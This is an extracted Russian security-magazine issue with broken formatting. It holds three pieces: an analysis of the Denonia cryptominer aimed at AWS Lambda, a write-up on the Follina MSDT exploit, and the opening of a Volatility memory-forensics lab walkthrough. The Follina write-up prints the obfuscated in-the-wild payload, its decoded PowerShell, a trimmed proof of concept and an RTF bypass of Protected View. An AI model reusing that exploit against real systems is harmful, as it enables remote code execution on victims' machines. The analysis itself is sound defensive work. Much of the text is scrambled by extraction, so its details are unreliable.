https://gist.github.com/S3cur3Th1sSh1t/967927eb89b81a5519df61440357f945
https://github.com/forrest-orr/moneta
https://vimeo.com/719398239
https://offensivedefence.co.uk/posts/module-stomping/
https://github.com/mgeeky/ThreadStackSpoofer
https://t.me/OffensiveTwitter
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НАЦЕЛЕННЫЙ НА AWS LAMBDA

Олег Сивченко
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ВЗЛОМ

Се год няшняя статья зат рагива ет мало изу- 
чен ную тему — раз работ ку вре донос ного
ПО на язы ке Go. Обыч но он исполь зует ся
для сис темно го прог рамми рова ния. Одна- 
ко мы погово рим о вирусе, нацелен ном
на облачные инфраструк туры, которые
позици они руют ся как «бес сервер ные». Их
популяр ность рас тет, и, конеч но же, хакеры
ищут под ходы к их экс плу ата ции.

«Бес сервер ный» — это не более чем фигура речи. У сис тем вро де AWS
Lambda есть сер верная часть, и она работа ет на Linux. Одна ко раз работ чиков
это в теории не каса ется. Для них при мене ние Lambda эко номит вре мя, пос- 
коль ку под дер жка сис темы ложит ся на Amazon. В теории оста ется толь ко
писать код и не задумы вать ся ни о чем. Впро чем, думать о безопас ности все
же при дет ся.

Эфе мер ность и динамич ность, при сущие лям бда-фун кци ям, могут
осложнить обна руже ние и митига цию угроз. Помочь с этим приз ваны
решения вро де тех, что пре дос тавля ет Cado Labs. Пос леднее иссле дова ние
этой ком пании мы с тобой сегод ня изу чим.

Итак, в Cado Labs  вре донос, ата кующий акка унты AWS
Lambda. Он получил имя Denonia — по наз ванию того домена, с которым
обме нива ется информа цией. Вре донос исполь зует новей шие при емы раз- 
решения адре сов для вза имо дей ствия с C2, что поз воля ет ему усколь зать
от типич ных механиз мов обна руже ния.

об наружи ли

Denonia в целом безоби ден — он все го-нав сего гоня ет прог рамму
для май нин га крип товалю ты. Рас простра нен он пока, по дан ным Cado Labs,
тоже не слиш ком широко. Одна ко Denonia демонс три рует потен циал экс плу- 
ата ции окру жений Lambda, резуль тат которой может ока зать ся и более гнус- 
ным.

ÒÅÕÍÈ×ÅÑÊÈÉ ÀÍÀËÈÇ

Впер вые обра зец Denonia был най ден на ресур се с таким хешем SHA-256:
a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbb

ca
Хо тя в име ни фай ла при сутс тву ет python, на самом деле этот вре донос

написан на  и, по-видимо му, содер жит кас томизи рован ный вари ант май- 
нин гового соф та XMRig, а так же обла дает дру гими невы ясненны ми фун кци- 
ями. Вот что показа ло более тща тель ное иссле дова ние.

Go

Во вре мя динами чес кого ана лиза вре донос быс тро прек ратил выпол нять- 
ся и выдал в лог сле дующую ошиб ку.

Та кие перемен ные окру жений спе цифич ны для «лямбд» — поэто му отчасти
поз воля ют судить о показа телях той сре ды, для выпол нения в которой пред- 
назна чен этот вирус. Даль нейший ана лиз бинар ника выявил, что это 64-раз- 
рядный исполня емый файл ELF для архи тек туры x86-64. Вре донос так же
исполь зует ряд сто рон них биб лиотек, сре ди которых есть и 

. Она пред назна чена для выпол нения в окру жени ях AWS Lambda.
AWS Lambda for

Go

ÂÐÅÄÎÍÎÑÛ ÍÀ GO

Вре донос ное ПО, написан ное на язы ке Go, стре митель но 
. Этот язык прив лека ет раз работ чиков вре доно сов сра зу по нес коль ким

при чинам — в том чис ле потому, что на нем чрез вычай но прос то писать
кросс-плат формен ные исполня емые фай лы. К тому же прог раммы на Go ста- 
тичес ки слин кованы, что облегча ет деп лой.

на бира ет популяр- 
ность

Ви рус ным ана лити кам, стол кнув шимся с мал варью на Go, нуж но знать
о некото рых осо бен ностях. Из-за ста тичес кой свя зан ности бинар ники
получа ются боль шими, что зат рудня ет ста тичес кий ана лиз. Кро ме того, Go
сво еоб разно обра щает ся со стро ками. Они не завер шают ся нулем — в отли- 
чие от того, как при нято в С-образных язы ках. Стро ки здесь пред став ляют
собой боль шой блоб и струк туру с ука зате лем на стро ку в бло бе и целым чис- 
лом, которое озна чает дли ну стро ки. Это может запутать некото рые инс тру- 
мен ты ста тичес кого ана лиза.

ÀÍÀËÈÇ ËßÌÁÄÀ-ÂÐÅÄÎÍÎÑÎÂ

У ана лиза бинар ника, пред назна чен ного для запус ка на AWS Lambda, тоже
есть ряд осо бен ностей.

Denonia явно спро екти рова на для выпол нения в лям бда-окру жени ях,
но мы пока не зна ем, как имен но она раз верты вает ся. Воз можно, от нее все- 
го-то и тре бует ся ском про мети ровать дос туп к AWS и сек ретные клю чи, пос ле
чего зло умыш ленник вруч ную раз вернет ее в ском про мети рован ном лям- 
бда-окру жении, как  с более прос тыми скрип тами на Python.уже делали

Инс тру мент  поз волил выявить некото рые инте рес ные сто рон ние
биб лиоте ки Go, встра иваемые этим вре доно сом. По ним мож но час тично
вывес ти, как имен но он фун кци они рует:

redress

 — биб лиоте ки, образцы и инс тру мен ты для написа ния лям- 
бда-фун кций на Go;

• lambda

 — вспо мога тель ные фун кции для извле чения кон текс тной
информа ции из зап роса, акти виру юще го лям бда-фун кцию;

• lambdacontext

 — общий инс тру мен тарий AWS SDK для язы ка Go;• aws
 — кли ент DNS over HTTPS на Go, под держи вает такие про вай деры,

как Quad9, Cloudare и про чие.
• doh-go

Ни же при веден фраг мент обра бот чика лям бда-фун кций — он ожи дает, что
будут уста нов лены опре делен ные дан ные.

Нес мотря на его наличие, динами чес кий ана лиз показы вает, что этот обра зец
с тем же успе хом про дол жает выпол нять ся и вне лям бда-окру жения (нап- 
ример, на самой обыч ной машине Amazon Linux). Пред положи тель но дело
в том, что «бес сервер ные» лям бда-окру жения под капотом все рав но исполь- 
зуют Linux, так что вре донос прос то счи тает, что он внут ри лям бда-окру жения,
хотя на самом деле его гоняли в песоч нице. Для это го дос таточ но вруч ную
уста новить нуж ные перемен ные окру жения.

DNS ÏÎ HTTPS

Как пра вило, при зап росе домен ного име ни, нап ример google.com, отправ- 
ляет ся незашиф рован ный DNS-зап рос, поз воля ющий най ти тот IP-адрес,
в который раз реша ется домен, — и тог да твоя машина под клю чает ся к это му
домену. Срав нитель но новая замена для обыч ного DNS — это DNS по HTTPS
(DoH). DoH шиф рует зап росы DNS и рас сыла ет их служ бам раз решения DoH
как обыч ный тра фик HTTPS.

При бег нуть к DoH, пря мо ска жем, экзо тичес кий ход для авто ров Denonia,
но в дан ном слу чае он обес печива ет два пре иму щес тва:

AWS не смо жет уви деть, что по DNS ищет ся вре донос ный домен, — поэто- 
му сни жает ся веро ятность, что в сис теме сра бота ет тре вога и вирус
попыта ются обна ружить;

•

в некото рых лям бда-окру жени ях может не быть воз можнос ти выпол нять
поиск по DNS (зависит от нас тро ек VPC).

•

Вид но, как вре донос при отправ ке этих зап росов полага ется на биб лиоте ку
doh-go и по каким имен но урлам это дела ется, нап ример:

https://cloudare-dns.com/dns-query?name=gw.denonia.xyz&type=A•
https://dns.google.com/resolve?name=gw.denonia.xyz&type=A•

HTTPS-зап рос на сер вер Google DoH

А DoH-сер вер (в дан ном слу чае Google) выда ет в ответ IP-адрес домена,
который раз реша ется в JSON.

ÇÀÏÈÑÜ Â /TMP/.XMRIG.JSON ÄËß XMRIG

До мен , кон тро лиру емый зло умыш ленни ком, раз реша ется

в  — и этот адрес затем записы вает ся в кон фиг для май нера
XMRig по адре су .

gw.denonia[.]xyz
116.203.4[.]0

/tmp/.xmrig.json

Об рати вни мание: в AWS Lambda мож но записы вать толь ко в один каталог,
а имен но в . Бинар ник так же уста нав лива ет в качес тве домаш него
катало га имен но , это дела ется при помощи коман ды . Сам

XMRig выпол няет ся из памяти.

/tmp
/tmp HOME=/tmp

ÊÎÌÌÓÍÈÊÀÖÈß Ñ ÑÅÐÂÅÐÎÌ MONERO ÏÎ ÀÄÐÅÑÓ 116.203.4[.]0

За тем Denonia запус кает XMRig из памяти и обме нива ется информа цией
с май нин говым пулом, которым уже зав ладел зло умыш ленник, по адре су 

.

116.
203.4[.]0:3333

В ответ получа ем сос тояние май нин гового задания.

По мере выпол нения XMRig пишет в кон соль.

ÂÛÂÎÄÛ

Итак, на при мере Denonia мы пос мотре ли, как обра щать ся с вре доно сами,
написан ными на Go, а так же нацелен ными на исполне ние в лям бда-окру- 
жени ях.

Ин терес но, что это не единс твен ный обна ружен ный обра зец Denonia. Рас- 
смот ренный обра зец датиру ется кон цом фев раля 2022 года, но с того
момен та был най ден и , заг ружен ный на VirusTotal в янва ре:вто рой

739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed
Под робнее о защите окру жений AWS Lambda ты можешь почитать в науч- 

ной статье сот рудни ков AWS ( ).PDF

mailto:adrelian@gmail.com
https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/
https://www.virustotal.com/gui/file/a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbbca
https://go.dev/
https://github.com/aws/aws-lambda-go
https://www.zdnet.com/article/go-malware-is-now-common-having-been-adopted-by-both-apts-and-e-crime-groups/
https://twitter.com/jonnyplatt/status/1470714913098289153
https://github.com/goretk/redress
https://github.com/aws/aws-lambda-go/tree/main/lambda
https://github.com/aws/aws-lambda-go/tree/main/lambdacontext
https://github.com/aws/aws-sdk-go/tree/main/aws
https://github.com/likexian/doh-go
https://www.virustotal.com/gui/file/739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed
https://www.virustotal.com/gui/file/739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed
https://docs.aws.amazon.com/whitepapers/latest/security-overview-aws-lambda/security-overview-aws-lambda.pdf
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ВЗЛОМ

«Флли на-флли на, флли на-фол лна,
фой-на-на!» — весело рас пева ют хакеры,
вос поль зовав шиеся уяз вимостью нулево го
дня для Microsoft Office под наз вани ем
Follina. При чины для радос ти оче вид ны: баг
содер жится во всех акту аль ных вер сиях
Office, начиная с 2013, и откры вает
широчай шие воз можнос ти напакос тить
юзе ру. Офи циаль ного пат ча сей час поп- 
росту не сущес тву ет. О том, как работа ет
«фол личес кая» уяз вимость, как она была
обна руже на и как защитить ся от ее экс плу- 
ата ции, мы сегод ня и погово рим.

Follina по-сво ему уни каль на. Она не тре бует акти вации мак росов, при этом
поз воля ет выпол нять про изволь ный код с при виле гиями вызыва юще го при- 
ложе ния. Теоре тичес ки запущен ный вре донос может изрядно порез вить ся
в ском про мети рован ной сис теме: уста нав ливать прог раммы, прос матри вать,
изме нять или уда лять дан ные, а еще — соз давать новые учет ные записи.
При чем кор порацию Microsoft опе ратив но пре дуп редили, что обна руже на
зияющая дыра в безопас ности Office, но ком пания не пред при няла по это му
поводу никаких мер, пос читав угро зу несерь езной. Как выяс нилось, очень
нап расно.

Проб лема скры вает ся в Microsoft Diagnostic Tool (MSDT) — ути лите,
которая собира ет информа цию для отправ ки в служ бу тех ничес кой под дер- 
жки Microsoft и фор миру ет отче ты об ошиб ках. Любопыт но, что экс пло ит мож- 
но исполь зовать даже без откры тия докумен та Microsoft Word, для это го дос- 
таточ но лишь навес ти кур сор мыши на заг ружен ный файл в про вод нике: вре- 
донос ный скрипт сра бота ет в превью докумен та. Одна ко обо всем по поряд- 
ку.

Пер вым файл с экс пло итом обна ружил на VirusTotal иссле дова тель, скры- 
вающий ся под псев донимом : документ был заг ружен на VT в апре- 
ле 2022 года с белорус ско го IP-адре са. Сле дом за изу чение опас ного фай ла
взял ся IT-эксперт Кевин Бомонт и опуб ликовал в сво ем  под робное
опи сание уяз вимос ти. Он же дал ей наз вание: рас шифро ван ный им обра зец
кода в фай ле вклю чал ссыл ку на RAR-архив с име нем ,

а 0438 — это телефон ный код италь янско го город ка . Если открыть
документ с экс пло итом, этот RAR-архив ска чива ется на ата куемый компь ютер
и сох раня ется во вре мен ную пап ку.

nao_sec

бло ге

05-2022-0438.rar
Follina

Та самая ссыл ка, дав шая наз вание уяз вимос ти

О том, как работа ет эта уяз вимость, получив шая в ито ге обоз начение CVE-
2022-30190, под робно рас ска зыва ли в иссле дова нии экспер ты из .
При рас паков ке фай ла с экс пло итом они получи ли все ком понен ты, сос тавля- 
ющие документ Microsoft Office.

Huntress

Ком понен ты, сос тавля ющие вре донос ный документ. Иллюс тра ция с сай -
та huntress.com

Сре ди этих сос тавля ющих в пап ке  рас положен стан дар тный
XML-файл , в котором содер жится спи сок свя зей

для основно го XML-фай ла . В  сос редото- 

чено полез ное содер жимое докумен та Word, и, если он не име ет свя зей
с внеш ними объ екта ми или ресур сами, файл  обыч но

пуст. В нашем слу чае там содер жался код, вклю чающий ссыл ку на некую
внеш нюю веб-стра ницу, рас положен ную по адре су 

.

word/_rels/
document.xml.rels

word/document.xml document.xml

document.xml.rels

hxxps[:]//www.
xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.
html

Код в фай ле document.xml.rels

Сей час сайт, где лежал файл, уже недос тупен, но некото рое вре мя назад
иссле дова телям все же уда лось ска чать с него ту самую веб-стра ницу. Этот
HTML-документ содер жал тег  и боль шое количес тво заком менти- 

рован ных сим волов А.

<script>

Со дер жимое фай ла RDF842l.html

Из началь но иссле дова тели не мог ли понять, для чего нуж ны эти заком менти- 
рован ные стро ки, но без них экс пло ит не работал. Пар ни из Huntress испро- 
бова ли мно жес тво вари антов: раз ные сим волы, раз мещение заком менти- 
рован ного бло ка выше или ниже полез ной наг рузки, пока не обна ружи лось,
что фун кция обра бот ки HTML-модуля MSDT име ет жес тко закоди рован ный
раз мер буфера и для сра баты вания экс пло ита объ ем вре донос ного фай ла
дол жен пре вышать 4096 байт.

В ниж ней час ти HTML-кода содер жался зашиф рован ный скрипт, в котором
и реали зован основной код экс пло ита:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param 
"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_
SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(
Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.
GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[
char]
34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc
3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traW
xsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSB
oaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9y
ICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAve
SYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLn
QgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[
char]34+'))'))))i/../../../../../../../../../../../../../../Windows/
System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";! 

Дей ству ет он сле дующим обра зом. С исполь зовани ем стан дар тно го
механиз ма Microsoft Diagnostic Tool вызыва ется встро енная в Windows ути лита
поис ка непола док PCWDiagnostic с парамет ром прос мотра фай ла

, в качес тве которо го ей под совыва ется скрипт PowerShell,

спря тан ный в парамет ре . Пос ле рас шифров ки из Base64 этот скрипт
име ет такой вид:

IT_BrowseForFile
$()

  $cmd = "c:\windows\system32\cmd.exe";
  Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /

f /im msdt.exe";
  Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\

public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&
findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c 
-F:* .&&rgb.exe";

Ес ли записан ный в перемен ную  путь к коман дно му интер пре тато ру 
 верен, скрипт запус кает ся в коман дной стро ке и откры вает невиди мые

окна, в которых выпол няют ся сле дующие дей ствия:

$cmd cmd.
exe

уби вает ся про цесс , если он запущен;• msdt.exe
в ранее ска чан ном архи ве  ищет ся стро ка Base64,
в которой хра нит ся зашиф рован ный CAB-файл;

• 05-2022-0438.rar

этот файл извле кает ся и сох раня ется под име нем ;• 1.t
сох ранен ный файл рас шифро выва ется и сох раня ется в текущий каталог
под име нем ;

•
1.c

вы зыва ется на исполне ние при ложе ние , которое пред положи- 
тель но хра нилось внут ри CAB-фай ла . Наз начение это го при ложе ния
в дан ный момент неиз вес тно, пос коль ку сайт, с которо го гру зил ся
исходный архив, боль ше не дос тупен.

• rgb.exe
1.c

Что бы луч ше понять, как работа ет экс пло ит, иссле дова тели замени ли вызов
несущес тву юще го при ложе ния демонс тра цией окош ка с сис темным уве дом- 
лени ем — вот как сра ботав ший экс пло ит выг лядел в их вир туал ке.

Наг лядная демонс тра ция работы Follina

Пос леду ющие экспе римен ты показа ли, что некото рые син такси чес кие
выраже ния в коде Follina сов сем необя затель ны для выпол нения полез ной
наг рузки, и иссле дова телям из Huntress уда лось зна читель но опти мизи ровать
код экс пло ита, сок ратив его до сле дующей лаконич ной конс трук ции:

 
? 

calc /.exe

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "
IT_RebrowseForFile= IT_LaunchMethod=ContextMenu IT_BrowseForFile=
/../../$( ) "";

На ибо лее важ ными для успешно го выпол нения кода ока зались сле дующие
момен ты:

в начале парамет ра  тре бует ся как минимум два
обхо да катало га ;

• IT_BrowseForFile
/.../

код, обер нутый в , выпол нялся через PowerShell, но про белы наруша ют
его работу;

• $()

рас ширение  дол жно быть пос ледним завер шающим зна чени ем
в кон це парамет ра .

• .exe
IT_BrowseForFile

Та ким обра зом, Follina поз воля ет запус тить в сис теме про изволь ный
исполня емый файл, при том для это го необя затель но отклю чать в Word
защиту от выпол нения мак росов, пос коль ку уяз вимость экс плу ати рует совер- 
шенно дру гой механизм. Баг при сутс тву ет в вер сиях Office 2013, 2016, Office
Pro Plus апрель ской вер сии (Windows 11 с май ски ми обновле ниями) и вер сии
Office 2021 со все ми пат чами. Вот при мер содер жащего экс пло ит докумен та,
который рас сылали в поч товом спа ме.

При мер вре донос ного докумен та, содер жащего экс пло ит

Прав да, при сра баты вании экс пло ита в Microsoft Office акти визи рует ся
защита Protected View, демонс три рующая содер жимое потен циаль но опас- 
ного докумен та в режиме «толь ко для чте ния», но ее мож но обой ти, сох ранив
файл с экс пло итом в фор мате RTF. Более того: в этом слу чае его даже не нуж- 
но откры вать в Word — этот экс пло ит будет выз ван уже в момент появ ления
превью докумен та в панели пред варитель ного прос мотра про вод ника
Windows.

Follina сра баты вает при прос мотре превью вре донос ного докумен та
в про вод нике

Есть и еще один очень важ ный момент: полез ная наг рузка может обра щать ся
к уда лен ным узлам, при над лежащим зло умыш ленни кам. При таком соеди- 
нении на уда лен ный узел будет переда вать ся хеш NTLM, а это озна чает, что
кибер прес тупни ки получат хеш пароля Windows жер твы, который может быть
исполь зован для даль нейшей пос тэкс плу ата ции.

При соеди нении переда ется хеш NTLM

Эта тех ника ата ки запус кает код под учет ной записью поль зовате ля, который
открыл вре донос ный документ или прос мотрел его в про вод нике. Ины ми сло- 
вами, зло умыш ленник нач нет ата ку как поль зователь с низ кими при виле гиями
(без прав адми нис тра тора), но затем может исполь зовать этот дос туп
для даль нейших атак, что бы повысить при виле гии и получить рас ширен ный
дос туп к целевой сре де.

По дыто живая, мож но ска зать, что на тво ем ком пе сра бота ла Follina, если
наб люда ются сле дующие тре вож ные приз наки:

про цесс Microsoft Word соз дает дочер ний про цесс ;• msdt.exe
за пущен про цесс  с дочер ним про цес сом 

.
• sdiagnhost.exe conhost.
exe

Ха рак терные приз наки сра баты вания полез ной наг рузки Follina

Лю бопыт но, что кор порация Microsoft была сво евре мен но про информи рова- 
на об этой уяз вимос ти, но пос читала, что она «не име ет отно шения
к безопас ности», — соот ветс тву ющую перепис ку  учас тник
Shadow Chaser Group (ассо циация сту ден тов кол леджей, занима ющаяся
поис ком и ана лизом APT) .

опуб ликовал

crazyman

Скрин перепис ки поль зовате ля crazyman и Microsoft

Без пат ча единс твен ным разум ным спо собом про тивос тоять Follina было уда- 
ление ассо циации для фай лов MS-MSDT в реес тре Windows, за которую отве- 
чает ветвь . Это мож но сде лать с помощью коман ды 

 или с исполь зовани ем 

. В таком слу чае сра ботав ший экс пло ит
не смо жет выз вать MS-MSDT, что пре дот вра тит запуск вре донос ной прог- 
раммы.

HKCR:\ms-msdt reg 
delete HKEY_CLASSES_ROOT\ms-msdt /f скрип та

на PowerShell от Кель вина Тегела ра

Microsoft пока не выпус тила патч для исправ ления уяз вимос ти в MSDT,
за что . В любом слу чае, как извес тно,
на мно гих компь юте рах обновле ния отклю чены, а об уста нов ке их вруч ную
час то речи и вов се не заходит. Поэто му, дума ется, поль зовате ли еще дол го
будут удив ленно вскри кивать «опа, шинанай!», ког да Follina в оче ред ной раз
вне зап но запус тит в их сис теме что-нибудь вре донос ное.

под верга ется спра вед ливой кри тике

mailto:valentin@holmogorov.ru
https://twitter.com/nao_sec
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D0%BB%D0%BB%D0%B8%D0%BD%D0%B0
https://www.huntress.com/
https://xakep.ru/2022/05/31/follina/
https://twitter.com/crazymanarmy
https://cyberdrain.com/automating-with-powershell-enable-m365-activity-based-time-out-office-code-execution-fix/
https://xakep.ru/2022/06/07/follina-attacks/
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ВЗЛОМ

В этой статье мы про ведем рас сле дова ние инци ден та
на при мере лабора тор ной работы  с ресур са

. Мы научим ся извле кать основные арте фак- 
ты из обра зов опе ратив ной памяти Windows и вос ста новим
про цесс ата ки.

MrRobot
CyberDefenders

Сце нарий в задании такой: сот рудник ком пании сооб щил, что ему приш ло
элек трон ное пись мо с обновле нием безопас ности, он запус тил вло жение
и пос ле это го компь ютер начал вес ти себя стран но. Груп па реаги рова ния
на инци ден ты получи ла дам пы опе ратив ной памяти с подоз ритель ных машин.
Наша задача — иссле довать их, най ти то самое пись мо, выявить заг ружен ные
вре донос ные прог раммы и методы боково го переме щения по сети.

По резуль татам решения кей са необ ходимо отве тить на ряд воп росов,
но я покажу сам про цесс решения и не буду озву чивать отве ты. Ты можешь
пов торить все самос тоятель но, что бы луч ше разоб рать ся и зак репить
матери ал.

Итак, заг рузим файл  с арте фак тами и прис тупим к их иссле дова- 
нию.

ар хива

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ

1.  — инс тру мент, реали зован ный на Python вер- 
сии 2 и пред назна чен ный для извле чения арте фак тов из образцов энер- 
гозави симой памяти.

Volatility Framework 2.6.1

2.  — инс тру мент для извле чения струк туриро ван ной информа- 
ции, к при меру адре сов элек трон ной поч ты, URL, доменов.
Bulk extractor

3.  — прог рамма для тес тирова ния и соз дания пра вил YARA.YARA Editor

ÈÑÏÎËÜÇÓÅÌÛÅ ÏËÀÃÈÍÛ VOLATILITY2 ÄËß ÈÇÂËÅ×ÅÍÈß

ÄÀÍÍÛÕ

1.  — пла гин для опре деле ния опе раци онной сис темы, пакета

обновле ний и аппа рат ной архи тек туры иссле дуемо го обра за.

Imageinfo

2.  — поз воля ет прос матри вать спи сок про цес сов в виде дерева.Pstree

3.  — показы вает откры тые дес крип торы к фай лам, раз делам реес- 

тра, мьютек сам, име нован ным каналам, спря тан ным в про цес сах. Так же
поз воля ет отоб разить дес крип торы для кон крет ного про цес са и кон крет- 
ного типа объ екта.

Handles

4.  — пла гин для поис ка команд, которые зло умыш ленни ки вве ли
в окне . Основное его пре иму щес тво — пла гин не толь ко показы- 
вает вве ден ные зло умыш ленни ками коман ды, но и собира ет весь
экранный буфер (ввод и вывод).

Consoles

cmd.exe

5.  — извле кает все резиден тные стра ницы памяти в про цес се.Memdump

6.  — пла гин для поис ка объ ектов  в памяти

с помощью ска ниро вания тегов пула. Най дет все откры тые фай лы.

Filescan FILE_OBJECT

7.  — извле кает кеширо ван ные фай лы из обра за памяти.Dumpfiles

8.  — ищет сетевые арте фак ты в 32- и 64-раз рядных дам пах памяти.

Пла гин находит конеч ные точ ки TCP, UDP, локаль ные и уда лен ные IP-адре- 
са.

Netscan

9.  — ищет зна чения в ука зан ном раз деле реес тра Windows.Printkey

10.  — поз воля ет получить информа цию из клю ча реес тра

.

Userassist

UserAssist
11.  — ска ниру ет записи глав ной таб лицы фай лов (MFT) в памяти

и выводит информа цию о вре мен ных мет ках фай лов.

Mftparser

12.  — под клю чаемый пла гин, который ищет точ ки сох ранения
исполня емых фай лов в сис теме. Для его под клю чения необ ходимо
добавить пла гин в каталог  инс тру мен та Volatility.

Autoruns

plugins
13.  — пла гин для поис ка скры того или внед ренно го в память про цес- 

сов кода.
Malfind

Рас паковы ваем архив с задани ем и получа ем три фай ла, которые содер жат
обра зы памяти ском про мети рован ных хос тов: Target1, Target2 и POS. Фай лы
име ют рас ширение , то есть пред став ляют собой момен таль ные сним- 

ки вир туаль ной машины VMware. Если Volatility не может извлечь арте фак ты
из этих фай лов, мож но вос поль зовать ся пла гином , который пре- 
обра зует дамп памяти при оста нов ленной вир туаль ной машины VMware
в фор мат, при год ный для ана лиза. Так же мож но вос поль зовать ся инс тру мен- 
том .

.vmss

raw2dmp

vmss2core
Ис сле дова ние обра зов опе ратив ной памяти мож но раз делить на два эта- 

па: вос ста нов ление дей ствий поль зовате ля и поиск приз наков вре донос ной
активнос ти. На пер вом эта пе необ ходимо про ана лизи ровать запущен ные
про цес сы, откры тые докумен ты, вос ста новить исто рию бра узе ра. Эта
информа ция поможет опре делить вре мя ком про мета ции сис темы, а так же
выяс нить, какие дей ствия поль зовате ля при вели к инци ден ту. А про ана лизи- 
ровав активность зло умыш ленни ка, нуж но най ти исполь зован ные вре донос- 
ные модули, спо соб их зак репле ния в сис теме, а так же обна ружить методы
боково го переме щения по сети орга низа ции.

ÈÑÑËÅÄÎÂÀÍÈÅ ÕÎÑÒÀ TARGET1

По лучим пер вичную информа цию об иссле дуемой машине, выяс ним про филь
опе раци онной сис темы, сетевой адрес и имя хос та.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 imageinfo`

Ин форма ция о про филе опе раци онной сис темы

В клю че реес тра 
 содер жится информа ция об име ни компь юте ра.

SYSTEM\ControlSet001\Control\ComputerName\
ComputerName

  
python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Control\C
omputerName\ComputerName"

Имя компь юте ра

Имя компь юте ра — .FRONT-DESK-PC
По лучим сетевой адрес хос та: в клю че реес тра 

 содер жатся иден тифика торы
сетевых адап теров, в одном из которых хра нит ся информа ция о сети.

SYSTEM\ControlSet001\
Services\Tcpip\Parameters\Interfaces

 
python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Services\Tcpip\
Parameters\Interfaces\{9C3710A4-77FE-48CB-911B-742A81DE38BA}"

IP-адрес хос та

Про филь ском про мети рован ной машины — , IP-адрес —

, имя хос та — .

Win7SP1x86_23418
10.1.1.20 FRONT-DESK-PC

Нач нем вос ста нав ливать дей ствия поль зовате ля в сис теме. Пер вым
делом получим информа цию о запущен ных про цес сах и сох раним ее в файл
для удобс тва ана лиза.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 pstree >  pstree.txt 

Де рево запущен ных про цес сов

Мы видим запущен ный про цесс  с иден тифика тором . В его

адресном прос транс тве содер жится информа ция об элек трон ных сооб щени- 
ях и откры тых фай лах. Получим перепис ку авто ризо ван ного в Outlook поль- 
зовате ля. Для это го выг рузим все фай лы дан ного про цес са и про ана лизи- 
руем их: в дес крип торе откры того про цес са с иден тифика тором  най дем

все объ екты .

OUTLOOK.EXE 3196

3196
FILE

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 handles -p 3196 -t FILE >  handles_3196.
txt 

От кры тые фай лы про цес са OUTLOOK.exe

Мы обна ружи ли файл с рас ширени ем , который содер жит кеширо ван ные

(сох ранен ные в памяти сис темы) сооб щения элек трон ного поч тового ящи ка
поль зовате ля. Поп робу ем вос ста новить этот файл, исполь зуя пла гин

, но сна чала нам необ ходимо узнать физичес кий адрес дан ного

фай ла в памяти. Запус тим пла гин , най дем инте ресу ющий нас файл

и получим его физичес кий адрес.

.ost

dumpfiles
filescan

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 handles -p 3196 -t FILE >  filescan.txt 

Фи зичес кий адрес фай ла outlook2.ost

Ад рес фай ла  — . Теперь мож но вос ста- 

новить сам файл. В парамет ре  пла гина dumples ука зыва ем адрес фай ла,
который нуж но выг рузить.

outlook2.ost 0x000000003ecec2b0
-Q

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003ecec2b0 -D 
dumpfiles/ 

Я поп робовал вос ста новить все фай лы кон тей нера outlook, но они ока зались
пус тыми. Вос поль зуем ся дру гим методом выг рузки сооб щений. Для это го
получим дамп адресно го прос транс тва про цес са  с помощью

пла гина memdump.

OUTLOOK.EXE

 ./ 
python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 memdump -p 3196 -D

Мы получи ли дамп адресно го прос транс тва, поп робу ем в нем най ти сооб- 
щения. Откро ем получен ный файл в шес тнад цатерич ном редак торе и най дем
стро ку , а так же .From Content-Type

Об наружен ный заголо вок пись ма

Со дер жимое элек трон ного пись ма

Про ана лизи руем его заголо вок: нас инте ресу ют поля , 

и .

Subject From
Received

INFO

